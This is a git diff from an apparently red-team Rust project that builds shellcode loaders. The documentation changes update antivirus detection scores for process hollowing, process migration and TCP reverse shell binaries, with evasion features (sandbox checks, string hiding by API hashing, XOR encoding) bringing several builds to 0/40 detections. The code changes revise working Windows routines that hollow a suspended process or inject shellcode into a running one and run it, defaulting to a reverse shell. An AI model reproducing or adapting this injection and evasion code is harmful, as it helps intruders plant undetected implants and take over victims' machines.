40](https://kleenscan.com/scan_result/643bf03eb63541f6854d2898d2c809c368a14f82b57b9f85f7ec75f216aceef9) | [![process_hollowing_windows_antisand_antistring](/assets/images/windows/hollowing_antisand_antistring.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antisand_antistring.png) +Windows | `antistring` | [11 / 40](https://kleenscan.com/scan_result/6a5599f63c58f1d3e09a7c11add05ab3abb2226682c8290d1b0dc445ac8279bc) | [![process_hollowing_windows_antistring](/assets/images/windows/hollowing_antistring.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antistring.png) +Windows | `antistring,xor` | [1 / 40](https://kleenscan.com/scan_result/08572b59b640b6fea8a5f164d17056c48d4252a43a6a336e5091f024e3d25a4b) | [![process_hollowing_windows_antistring_xor](/assets/images/windows/hollowing_antistring_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antistring_xor.png) +Windows | `xor` | [1 / 40](https://kleenscan.com/scan_result/fd3affec1eaed16e9d6077e05f3807897a0994c33d3067ba53cdb907690b70e6) | [![process_hollowing_windows_xor](/assets/images/windows/hollowing_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_xor.png) +Windows | `antisand,xor` | [0 / 40](https://kleenscan.com/scan_result/a7baee8c968a997f48257e8e67d197f92dfd52f1281a65e2a5557f654adb33f8) | [![process_hollowing_windows_antisand_xor](/assets/images/windows/hollowing_antisand_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antisand_xor.png) +Windows | `antisand,antistring,xor` | [0 / 40](https://kleenscan.com/scan_result/b2fb0120a966d36e2158fad5867a4caed0cea52db00d87244f1122e1f380122e) | [![process_hollowing_windows_antisand_antistring_xor](/assets/images/windows/hollowing_antisand_antistring_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/hollowing_antisand_antistring_xor.png)
diff --git a/docs/process_migration.md b/docs/process_migration.md index 7039c7a..f0f004a 100644 --- a/docs/process_migration.md +++ b/docs/process_migration.md @@ -5,14 +5,14 @@ datatable: true # RCO: Process Migration -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_migration.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration) +[![Process migration version unavailable](https://img.shields.io/crates/v/process_migration?label=process_migration)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration)
Target OS | Demo --------- | ---- -Linux | [![process_migration_linux](/assets/gifs/process_migration.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/process_migration.gif) -Windows | [![process_migration_windows](/assets/gifs/process_migration_windows.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/process_migration_windows.gif) +Linux | [![process_migration_linux](/assets/gifs/process_migration.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/process_migration.gif) +Windows | [![process_migration_windows](/assets/gifs/process_migration_windows.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/process_migration_windows.gif)
@@ -54,15 +54,15 @@ nc -nlvp 4444 Target OS | Features | Detections | Screenshot --------- | ----------------------------- | -------------------------------------- | ---------- -Linux | None | [7 / 40](https://kleenscan.com/scan_result/5d88b167a6fdf674a0a81514e37f171a4d0eb63c0b063dec1dd02a5d9b63d4fb) | [![process_migration_linux](/assets/images/process_migration.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration.png) -Linux | `xor` | [0 / 40](https://kleenscan.com/scan_result/5568475e28d65306af33f75df28e215e7024daa922241fbd9c1e9205cd27a96d) | [![process_migration_linux_xor](/assets/images/process_migration_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_xor.png) -Windows | None | [12 / 40](https://kleenscan.com/scan_result/ebebddfa24b6d95c65900003629914cbcadf09fddcd9a70db614b9f8e9f5fc42) | [![process_migration_windows](/assets/images/process_migration_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_exe.png) -Windows | `antisand` | [12 / 40](https://kleenscan.com/scan_result/dc73a322924b772b90957aaffe8d2735acd6d6049e0607a1befada2bc5aa86f3) | [![process_migration_windows_antisand](/assets/images/process_migration_antisand_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antisand_exe.png) -Windows | `antistring` | [12 / 40](https://kleenscan.com/scan_result/7200bae53ce50bd8b0f3a528026ee72d71b47615235cf96384fe0752a1ff6145) | [![process_migration_windows_antistring](/assets/images/process_migration_antistring_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antistring_exe.png) -Windows | `antisand,antistring` | [12 / 40](https://kleenscan.com/scan_result/e702816970ee629f718e6dbec58a129b03742b0ac7644bc3de942d8368e7252b) | [![process_migration_windows_antisand_antistring](/assets/images/process_migration_antisand_antistring_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antisand_antistring_exe.png) -Windows | `xor` | [1 / 40](https://kleenscan.com/scan_result/8b3feb5f4db1b06a9fd33a9597b62d22847f518f607d7f049579b87b44ce8fea) | [![process_migration_windows_xor](/assets/images/process_migration_xor_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_xor_exe.png) -Windows | `antistring,xor` | [1 / 40](https://kleenscan.com/scan_result/f580330422109325f3c83fd1fa51a966798cb173d0edca5c1b4c310a2c95c082) | [![process_migration_windows_antistring_xor](/assets/images/process_migration_antistring_xor_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antistring_xor_exe.png) -Windows | `antisand,xor` | [0 / 40](https://kleenscan.com/scan_result/19a7640ebedb91c375aeebf9d576ea005260610ca0eb23621413dc058a8ff067) | [![process_migration_windows_antisand_xor](/assets/images/process_migration_antisand_xor_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antisand_xor_exe.png) -Windows | `antisand,antistring,xor` | [0 / 40](https://kleenscan.com/scan_result/1de23cfca021214907bb51174df2b8d69d2fe45cb6ebc903c1e3328bb958678f) | [![process_migration_windows_antisand_antistring_xor](/assets/images/process_migration_antisand_antistring_xor_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/process_migration_antisand_antistring_xor_exe.png) +Linux | None | [6 / 40](https://kleenscan.com/scan_result/6dac826ee10612cecc1dec4043f590638a2287416904518d38c8347d55bda054) | [![process_migration_linux](/assets/images/linux/migration.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/linux/migration.png) +Linux | `xor` | [0 / 40](https://kleenscan.com/scan_result/22551c73a19a51c251c8a3d95cd226bafad298db08bd0ec726591e86ef383ded) | [![process_migration_linux_xor](/assets/images/linux/migration_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/linux/migration_xor.png) +Windows | None | [11 / 40](https://kleenscan.com/scan_result/53ed56235d4d13d7e64fb567e4033a6e72743a0fc6bf7be3fc6af2c538170cf7) | [![process_migration_windows](/assets/images/windows/migration.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration.png) +Windows | `antisand` | [11 / 40](https://kleenscan.com/scan_result/65a24b211b0f9c7012c6deebb0e46dab75314a5c7422a262f77c64a196599c3f) | [![process_migration_windows_antisand](/assets/images/windows/migration_antisand.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antisand.png) +Windows | `antisand,antistring` | [11 / 40](https://kleenscan.com/scan_result/28c7306b456435e6794752ad0965ad62c2c330bfcf99c8026c425ca6188f3b0c) | [![process_migration_windows_antistring](/assets/images/windows/migration_antistring.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antistring.png) +Windows | `antistring` | [11 / 40](https://kleenscan.com/scan_result/838c5b612c0419346395df55dfcd6c9278228e1003be78734bcf2210244d627d) | [![process_migration_windows_antistring](/assets/images/windows/migration_antistring.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antistring.png) +Windows | `antistring,xor` | [1 / 40](https://kleenscan.com/scan_result/9466c0bbfacb8f7ebc8e92b50947bdf836cc2b4adeed10ed1d92040c9366f555) | [![process_migration_windows_antistring_xor](/assets/images/windows/migration_antistring_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antistring_xor.png) +Windows | `xor` | [1 / 40](https://kleenscan.com/scan_result/b65915b1a318d18c48195aa11fafd26937deb40c7fd60f123e447c279d9e9010) | [![process_migration_windows_xor](/assets/images/windows/migration_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_xor.png) +Windows | `antisand,xor` | [0 / 40](https://kleenscan.com/scan_result/f343f23b7a8f3704784beb3f0902f994d97d4aae21f60383617a3c778365d9eb) | [![process_migration_windows_antisand_xor](/assets/images/windows/migration_antisand_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antisand_xor.png) +Windows | `antisand,antistring,xor` | [0 / 40](https://kleenscan.com/scan_result/3291825d7fe6b514dfb40f28d8beae090bbf6d040b5f7206b6eb3c6ad10f43d7) | [![process_migration_windows_antisand_antistring_xor](/assets/images/windows/migration_antisand_antistring_xor.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/migration_antisand_antistring_xor.png)
diff --git a/docs/tcp_reverse_shell.md b/docs/tcp_reverse_shell.md index 088c1cb..6549782 100644 --- a/docs/tcp_reverse_shell.md +++ b/docs/tcp_reverse_shell.md @@ -5,14 +5,14 @@ datatable: true # RCO: TCP Reverse Shell -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Ftcp_reverse_shell.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell) +[![TCP reverse shell version unavailable](https://img.shields.io/crates/v/tcp_reverse_shell?label=tcp_reverse_shell)](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell)
Target OS | Demo --------- | ---- -Linux | [![tcp_reverse_shell_linux](/assets/gifs/tcp_reverse_shell.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/tcp_reverse_shell.gif) -Windows | [![tcp_reverse_shell_windows](/assets/gifs/tcp_reverse_shell_windows.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/tcp_reverse_shell_windows.gif) +Linux | [![tcp_reverse_shell_linux](/assets/gifs/tcp_reverse_shell.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/tcp_reverse_shell.gif) +Windows | [![tcp_reverse_shell_windows](/assets/gifs/tcp_reverse_shell_windows.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/tcp_reverse_shell_windows.gif)
@@ -48,10 +48,10 @@ nc -nlvp 4444 Target OS | Features | Detections | Screenshot --------- | ----------------------------- | -------------------------------------- | ---------- -Linux | None | [0 / 40](https://kleenscan.com/scan_result/c01984f5bc45f0ff82723fe6ceab770fe48e955081f8b02e17a8232e6ba2bbeb) | [![tcp_reverse_shell_linux](/assets/images/tcp_reverse_shell.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/tcp_reverse_shell.png) -Windows | None | [0 / 40](https://kleenscan.com/scan_result/ce74ac206b59e9acc4e7f528bcec06f2a1dcc8ac0a1fb622c0b646cdfd2602d5) | [![tcp_reverse_shell_windows](/assets/images/tcp_reverse_shell_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/tcp_reverse_shell_exe.png) -Windows | `antisand` | [0 / 40](https://kleenscan.com/scan_result/28fce6da1a75b3d0073649613d5e69b73019091e1a7c2a2033b1551755c5fad4) | [![tcp_reverse_shell_windows_antisand](/assets/images/tcp_reverse_shell_antisand_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/tcp_reverse_shell_antisand_exe.png) -Windows | `antistring` | [0 / 40](https://kleenscan.com/scan_result/fafcad9c3689cf811184cacc3c1e9f939017b4e5d362712468839a6126f82278) | [![tcp_reverse_shell_windows_antistring](/assets/images/tcp_reverse_shell_antistring_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/tcp_reverse_shell_antistring_exe.png) -Windows | `antisand,antistring` | [0 / 40](https://kleenscan.com/scan_result/ff8c1a3fda94bd5f73314e15c9861284250b88720f045351aedc937435b9d8bd) | [![tcp_reverse_shell_windows_antisand_antistring](/assets/images/tcp_reverse_shell_antisand_antistring_exe.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/images/tcp_reverse_shell_antisand_antistring_exe.png) +Linux | None | [0 / 40](https://kleenscan.com/scan_result/a940621ddd4de3ac694ab97584536a1e0a06a222f174d023051c5c7786cb02ce) | [![tcp_reverse_shell_linux](/assets/images/linux/shell.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/linux/shell.png) +Windows | None | [0 / 40](https://kleenscan.com/scan_result/3125f79d0b309eaecab29d4dbd8fb1521a53ca9bbd0f0b08f469a9c21cb0cb7b) | [![tcp_reverse_shell_windows](/assets/images/windows/shell.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/shell.png) +Windows | `antisand` | [0 / 40](https://kleenscan.com/scan_result/5554067d19d276e3b9c85967d1c0044bdf3d1ab3ca36be816cc4f80d0296df1b) | [![tcp_reverse_shell_windows_antisand](/assets/images/windows/shell_antisand.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/shell_antisand.png) +Windows | `antisand,antistring` | [0 / 40](https://kleenscan.com/scan_result/a0dc07b781618acdbc07c32cb12e5a41a860904672c288ba860a830e645eaaf8) | [![tcp_reverse_shell_windows_antisand_antistring](/assets/images/windows/shell_antisand_antistring.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/shell_antisand_antistring.png) +Windows | `antistring` | [0 / 40](https://kleenscan.com/scan_result/2430b38a062a6aa57ac52f508308bcc171b258fc04c06d9d05ae39c0bd1e7417) | [![tcp_reverse_shell_windows_antistring](/assets/images/windows/shell_antistring.png)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/images/windows/shell_antistring.png)
diff --git a/docs/xor_params.md b/docs/xor_params.md index 0f70255..e62069e 100644 --- a/docs/xor_params.md +++ b/docs/xor_params.md @@ -4,9 +4,7 @@ title: "XOR Params" # RCO: XOR Params -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fxor_params.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/xor_params) - -[![xor_params](https://user-images.githubusercontent.com/14863147/152621001-8de291e1-58dd-4f7e-9916-1846a65f1c83.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/gh-pages/assets/gifs/xor_params.gif) +[![xor_params](https://user-images.githubusercontent.com/14863147/152621001-8de291e1-58dd-4f7e-9916-1846a65f1c83.gif)](https://raw.githubusercontent.com/kmanc/remote_code_oxidation/main/docs/assets/gifs/xor_params.gif) ## How it works diff --git a/hash_params/Cargo.toml b/hash_params/Cargo.toml index df2190d..bff8be6 100644 --- a/hash_params/Cargo.toml +++ b/hash_params/Cargo.toml @@ -1,12 +1,12 @@ [package] -name = "hash_params" -version = "1.0.0" -edition = "2021" authors = ["Kevin Conley "] +edition = "2021" +name = "hash_params" rust-version = "1.59" +version = "1.0.1" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] rco_config = {path = "../rco_config"} -rco_utils = {path = "../rco_utils", features = ["antistring"] } +rco_utils = {path = "../rco_utils"} diff --git a/hash_params/src/main.rs b/hash_params/src/main.rs index 19154fa..8b1e23f 100644 --- a/hash_params/src/main.rs +++ b/hash_params/src/main.rs @@ -1,9 +1,20 @@ +use std::collections::hash_map::DefaultHasher; use std::env; +use std::hash::{Hash, Hasher}; + +// Yeah all of this stuff is already in the lib, but it's gated by a feature and I haven't figured out +// How best to handle that yet + +fn calculate_hash(t: &T) -> u64 { + let mut s = DefaultHasher::new(); + t.hash(&mut s); + s.finish() +} fn main() { let args: Vec = env::args().collect(); for arg in args[1..].iter() { - let hashed = rco_utils::calculate_hash(arg); + let hashed = calculate_hash(arg); println!("{arg} --> {hashed:x}"); } } diff --git a/process_hollowing/Cargo.toml b/process_hollowing/Cargo.toml index 6953760..4f46bc6 100644 --- a/process_hollowing/Cargo.toml +++ b/process_hollowing/Cargo.toml @@ -1,9 +1,13 @@ [package] -name = "process_hollowing" -version = "1.7.1" -edition = "2021" authors = ["Kevin Conley "] +description = "Creates a process and overwrites the entry point with shellcode (default to a reverse shell on localhost:4444)" +documentation = "https://kmanc.github.io/remote_code_oxidation/process_hollowing.html" +edition = "2021" +license = "MIT" +name = "process_hollowing" +repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/process_hollowing" rust-version = "1.59" +version = "1.10.0" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -14,14 +18,14 @@ antistring = ["rco_utils/antistring"] [dependencies] -rco_config = {path = "../rco_config"} -rco_utils = {path = "../rco_utils"} +rco_config = {path = "../rco_config", version = ">=0.2.0"} +rco_utils = {path = "../rco_utils", version = ">=1.0.1"} [target.'cfg(target_os="linux")'.dependencies] nix = ">=0.16" [target.'cfg(windows)'.dependencies] -windows.version = ">=0.40.0" +windows.version = ">=0.41.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/process_hollowing/src/rco_process_hollowing_windows/mod.rs b/process_hollowing/src/rco_process_hollowing_windows/mod.rs index e822d7a..c0e3282 100644 --- a/process_hollowing/src/rco_process_hollowing_windows/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_windows/mod.rs @@ -1,4 +1,4 @@ -use std::ffi::{c_void, CString}; +use core::ffi::c_void; use std::ptr; use windows::core::{PCSTR, PSTR}; use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory}; @@ -21,7 +21,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // Use CreateProcessA to create a suspended process that will be hollowed out for the shellcode // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html - let lp_command_line = PSTR(CString::new(target_process).unwrap().into_raw() as *mut u8); + let lp_command_line = PSTR::from_raw(format!("{target_process}\0").as_mut_ptr()); let creation_result = unsafe { CreateProcessA( PCSTR::null(), @@ -30,7 +30,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { None, false, CREATE_SUSPENDED, - ptr::null(), + None, PCSTR::null(), &STARTUPINFOA::default(), &mut process_information, @@ -66,7 +66,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { ReadProcessMemory( process_handle, image_base_address as *const c_void, - &mut address_buffer, + address_buffer.as_mut_ptr() as *mut c_void, + POINTER_SIZE as usize, None, ) }; @@ -82,7 +83,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { ReadProcessMemory( process_handle, pe_base_address as *const c_void, - &mut header_buffer, + header_buffer.as_mut_ptr() as *mut c_void, + 0x200, None, ) }; @@ -103,7 +105,8 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { WriteProcessMemory( process_handle, entry_point_address as *const c_void, - shellcode, + shellcode.as_ptr() as *const c_void, + shellcode.len(), None, ) }; diff --git a/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs b/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs index b4f2b88..7fabf56 100644 --- a/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs @@ -1,4 +1,4 @@ -use std::ffi::{c_void, CString}; +use core::ffi::c_void; use std::ptr; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::{BOOL, HANDLE}; @@ -17,10 +17,13 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // See line 13 let mut process_information = PROCESS_INFORMATION::default(); + // Get location of Kernel32.dll + let kernel32 = rco_utils::find_library_address("Kernel32").unwrap(); + // See line 18 - let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x6fe222ff0e96f5c4).unwrap(); let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *mut PROCESS_INFORMATION]; [BOOL]); - let lp_command_line = PSTR(CString::new(target_process).unwrap().into_raw() as *mut u8); + let lp_command_line = PSTR::from_raw(format!("{target_process}\0").as_mut_ptr()); unsafe { function( PCSTR::null(), @@ -36,8 +39,11 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { ) }; + // Get location of Ntdll.dll + let ntdll = rco_utils::find_library_address("Ntdll").unwrap(); + // See line 43 - let function = rco_utils::find_function_address("Ntdll", 0x9b0d5adddbf90f8a).unwrap(); + let function = rco_utils::find_function_address(ntdll, 0x9b0d5adddbf90f8a).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, PROCESSINFOCLASS, *mut c_void, u32, *mut u32]; [()]); let process_handle = process_information.hProcess; let mut basic_information = PROCESS_BASIC_INFORMATION::default(); @@ -52,7 +58,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { }; // See line 60 - let function = rco_utils::find_function_address("Kernel32", 0x1c1cfbf71004cba8).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x1c1cfbf71004cba8).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *mut c_void, usize, *mut usize]; [()]); let image_base_address = basic_information.PebBaseAddress as u64 + 0x10; let mut address_buffer = [0; POINTER_SIZE as usize]; @@ -84,7 +90,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { } // See line 97 - let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x2638fa76194bfe63).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *const c_void, usize, *mut usize]; [()]); let e_lfanew = unsafe { ptr::read((head_pointer_raw + E_LFANEW_OFFSET) as *const u32) }; let opthdr_offset = e_lfanew as usize + OPTHDR_ADDITIONAL_OFFSET; @@ -101,7 +107,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { }; // See line 117 - let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x9f2eb3a0195b21d).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE]; [()]); unsafe { function(process_information.hThread) }; } diff --git a/process_migration/Cargo.toml b/process_migration/Cargo.toml index 54fbef6..0f28918 100644 --- a/process_migration/Cargo.toml +++ b/process_migration/Cargo.toml @@ -1,9 +1,13 @@ [package] -name = "process_migration" -version = "1.9.1" -edition = "2021" authors = ["Kevin Conley "] +description = "Overwrites a running process' next instruction(s) with shellcode (default to a reverse shell on localhost:4444)" +documentation = "https://kmanc.github.io/remote_code_oxidation/process_migration.html" +edition = "2021" +license = "MIT" +name = "process_migration" +repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/process_migration" rust-version = "1.59" +version = "1.11.0" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html @@ -13,14 +17,14 @@ antisand = ["rco_utils/antisand"] antistring = ["rco_utils/antistring"] [dependencies] -rco_config = {path = "../rco_config"} -rco_utils = {path = "../rco_utils"} +rco_config = {path = "../rco_config", version = ">=0.2.0"} +rco_utils = {path = "../rco_utils", version = ">=1.0.1"} [target.'cfg(target_os="linux")'.dependencies] nix = ">=0.16" [target.'cfg(windows)'.dependencies] -windows.version = ">=0.40.0" +windows.version = ">=0.41.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/process_migration/src/rco_process_migration_windows/mod.rs b/process_migration/src/rco_process_migration_windows/mod.rs index d6b12c1..6f0ad1b 100644 --- a/process_migration/src/rco_process_migration_windows/mod.rs +++ b/process_migration/src/rco_process_migration_windows/mod.rs @@ -1,4 +1,5 @@ -use std::{mem, ptr}; +use core::ffi::c_void; +use std::mem; use windows::Win32::Foundation::CHAR; use windows::Win32::System::Diagnostics::Debug::WriteProcessMemory; use windows::Win32::System::Diagnostics::ToolHelp::{ @@ -62,7 +63,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { let base_address = unsafe { VirtualAllocEx( explorer_handle, - ptr::null(), + None, shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, @@ -76,7 +77,8 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { WriteProcessMemory( explorer_handle, base_address, - shellcode, + shellcode.as_ptr() as *const c_void, + shellcode.len(), None, ) }; @@ -94,7 +96,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { None, 0, start_address_option, - ptr::null(), + None, 0, None, ) diff --git a/process_migration/src/rco_process_migration_windows_antistring/mod.rs b/process_migration/src/rco_process_migration_windows_antistring/mod.rs index ad3db80..ac82253 100644 --- a/process_migration/src/rco_process_migration_windows_antistring/mod.rs +++ b/process_migration/src/rco_process_migration_windows_antistring/mod.rs @@ -10,13 +10,16 @@ use windows::Win32::System::Memory::{ use windows::Win32::System::Threading::{PROCESS_ACCESS_RIGHTS, PROCESS_ALL_ACCESS}; pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { + // Get location of Kernel32.dll + let kernel32 = rco_utils::find_library_address("Kernel32").unwrap(); + // See line 11 - let function = rco_utils::find_function_address("Kernel32", 0x139872fd098af4a7).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x139872fd098af4a7).unwrap(); let function = rco_utils::construct_win32_function!(function; [CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32]; [HANDLE]); let snapshot = unsafe { function(TH32CS_SNAPPROCESS, 0_u32) }; // See line 20 - let function = rco_utils::find_function_address("Kernel32", 0x4cf400a249844bee).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x4cf400a249844bee).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, &mut PROCESSENTRY32]; [BOOL]); let mut pid = 0_u32; let mut process_entry = PROCESSENTRY32 { @@ -39,12 +42,12 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { } // See line 46 - let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x2c116091e452cf52).unwrap(); let function = rco_utils::construct_win32_function!(function; [PROCESS_ACCESS_RIGHTS, bool, u32]; [HANDLE]); let explorer_handle = unsafe { function(PROCESS_ALL_ACCESS, false, pid) }; // See line 55 - let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x5cfd66a14ed9a43).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS]; [*const c_void]); let base_address = unsafe { function( @@ -57,7 +60,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { }; // See line 68 - let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x2638fa76194bfe63).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *const c_void, usize, *mut usize]; [()]); unsafe { function( @@ -70,7 +73,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { }; // See line 84 - let function = rco_utils::find_function_address("Kernel32", 0x2a0b247f3bdeef70).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x2a0b247f3bdeef70).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, u32, Option u32>, *const u32, u32, *mut u32]; [()]); let start_address_option = unsafe { Some(mem::transmute(base_address)) }; unsafe { diff --git a/rco_config/Cargo.toml b/rco_config/Cargo.toml index 90b9b3e..2713a47 100644 --- a/rco_config/Cargo.toml +++ b/rco_config/Cargo.toml @@ -1,10 +1,9 @@ [package] -name = "rco_config" -version = "0.2.0" -edition = "2021" authors = ["Kevin Conley "] +description = "Configuration for \"Remote Code Execution\"'s (RCO's) binaries" +edition = "2021" +license = "MIT" +name = "rco_config" +repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/rco_config" rust-version = "1.59" - -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - -[dependencies] +version = "0.2.0" diff --git 